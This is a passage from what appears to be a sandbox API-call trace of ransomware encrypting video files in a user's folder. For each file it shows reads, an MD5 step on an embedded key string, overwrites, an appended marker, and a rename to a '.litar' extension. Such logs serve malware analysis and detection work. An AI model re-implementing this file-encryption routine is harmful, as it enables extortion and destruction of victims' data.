lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.301] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.301] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.301] CloseHandle (hObject=0x624) returned 1 [0127.302] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.302] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.302] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.302] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\d_Y88L0xD5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\d_y88l0xd5.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\d_Y88L0xD5.mkv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\d_y88l0xd5.mkv.litar")) returned 1 [0127.303] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.303] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.304] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.304] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x420a6880, ftCreationTime.dwHighDateTime=0x1d4d380, ftLastAccessTime.dwLowDateTime=0xd77274c0, ftLastAccessTime.dwHighDateTime=0x1d4ca94, ftLastWriteTime.dwLowDateTime=0xd77274c0, ftLastWriteTime.dwHighDateTime=0x1d4ca94, nFileSizeHigh=0x0, nFileSizeLow=0x8821, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nOS9oi.swf", cAlternateFileName="")) returned 1 [0127.304] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.304] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x3098bf8 [0127.304] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.304] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\nOS9oi.swf") returned=".swf" [0127.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\nOS9oi.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\nos9oi.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.304] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=34849) returned 1 [0127.304] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.306] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x87fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.306] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.308] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.308] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.308] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.308] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8821, lpOverlapped=0x0) returned 1 [0127.308] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.308] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.308] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.308] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.308] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x69ff48) returned 1 [0127.309] CryptCreateHash (in: hProv=0x69ff48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.309] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.309] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.309] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.309] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.309] GetLastError () returned 0x0 [0127.309] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.309] CryptReleaseContext (hProv=0x69ff48, dwFlags=0x0) returned 1 [0127.309] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.310] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8820) returned 0x30fa0b0 [0127.310] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.310] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x881c, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x881c, lpOverlapped=0x0) returned 1 [0127.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.310] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8821, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.310] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.310] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.310] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.310] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.310] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.310] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.311] CloseHandle (hObject=0x624) returned 1 [0127.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.311] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.311] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\nOS9oi.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\nos9oi.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\nOS9oi.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\nos9oi.swf.litar")) returned 1 [0127.312] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.312] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.313] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.313] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d4b0, ftCreationTime.dwHighDateTime=0x1d4d409, ftLastAccessTime.dwLowDateTime=0x7894360, ftLastAccessTime.dwHighDateTime=0x1d4cdc3, ftLastWriteTime.dwLowDateTime=0x7894360, ftLastWriteTime.dwHighDateTime=0x1d4cdc3, nFileSizeHigh=0x0, nFileSizeLow=0x12447, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sd3L87.avi", cAlternateFileName="")) returned 1 [0127.313] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.313] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x3098bf8 [0127.313] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.313] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\sd3L87.avi") returned=".avi" [0127.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\sd3L87.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\sd3l87.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.313] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=74823) returned 1 [0127.313] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.315] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12421, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.315] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.317] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.317] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.317] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.317] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x12447, lpOverlapped=0x0) returned 1 [0127.318] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.318] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.318] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.318] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.318] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x69ff48) returned 1 [0127.319] CryptCreateHash (in: hProv=0x69ff48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.319] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.319] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.319] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.319] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.319] GetLastError () returned 0x0 [0127.319] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.319] CryptReleaseContext (hProv=0x69ff48, dwFlags=0x0) returned 1 [0127.319] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.319] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12450) returned 0x30fa0b0 [0127.319] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.319] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.319] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x12442, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x12442, lpOverlapped=0x0) returned 1 [0127.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.320] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12447, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.320] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.320] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.320] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.320] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.320] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.320] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.320] CloseHandle (hObject=0x624) returned 1 [0127.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.321] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.321] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\sd3L87.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\sd3l87.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\sd3L87.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\sd3l87.avi.litar")) returned 1 [0127.322] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.322] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.323] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.323] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a57b080, ftCreationTime.dwHighDateTime=0x1d4c8b7, ftLastAccessTime.dwLowDateTime=0x99c00940, ftLastAccessTime.dwHighDateTime=0x1d4c7be, ftLastWriteTime.dwLowDateTime=0x99c00940, ftLastWriteTime.dwHighDateTime=0x1d4c7be, nFileSizeHigh=0x0, nFileSizeLow=0x1238c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UdyiuRr9KYVW-Px_.mkv", cAlternateFileName="UDYIUR~1.MKV")) returned 1 [0127.323] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.323] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x3098bf8 [0127.323] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\UdyiuRr9KYVW-Px_.mkv") returned=".mkv" [0127.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\UdyiuRr9KYVW-Px_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\udyiurr9kyvw-px_.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.326] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=74636) returned 1 [0127.326] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.327] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12366, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.327] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.329] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.329] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.329] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.329] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1238c, lpOverlapped=0x0) returned 1 [0127.330] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.330] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.330] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.330] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.330] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x69ff48) returned 1 [0127.330] CryptCreateHash (in: hProv=0x69ff48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.331] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.331] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.331] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.331] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.331] GetLastError () returned 0x0 [0127.331] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.331] CryptReleaseContext (hProv=0x69ff48, dwFlags=0x0) returned 1 [0127.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.331] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12390) returned 0x30fa0b0 [0127.331] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.331] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x12387, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x12387, lpOverlapped=0x0) returned 1 [0127.332] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.332] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1238c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.332] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.332] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.332] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.332] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.332] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.332] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.332] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.332] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.332] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.332] CloseHandle (hObject=0x624) returned 1 [0127.333] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.333] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.333] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.333] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\UdyiuRr9KYVW-Px_.mkv" (normalized: "c:\\users\\5p5nrgjn0js 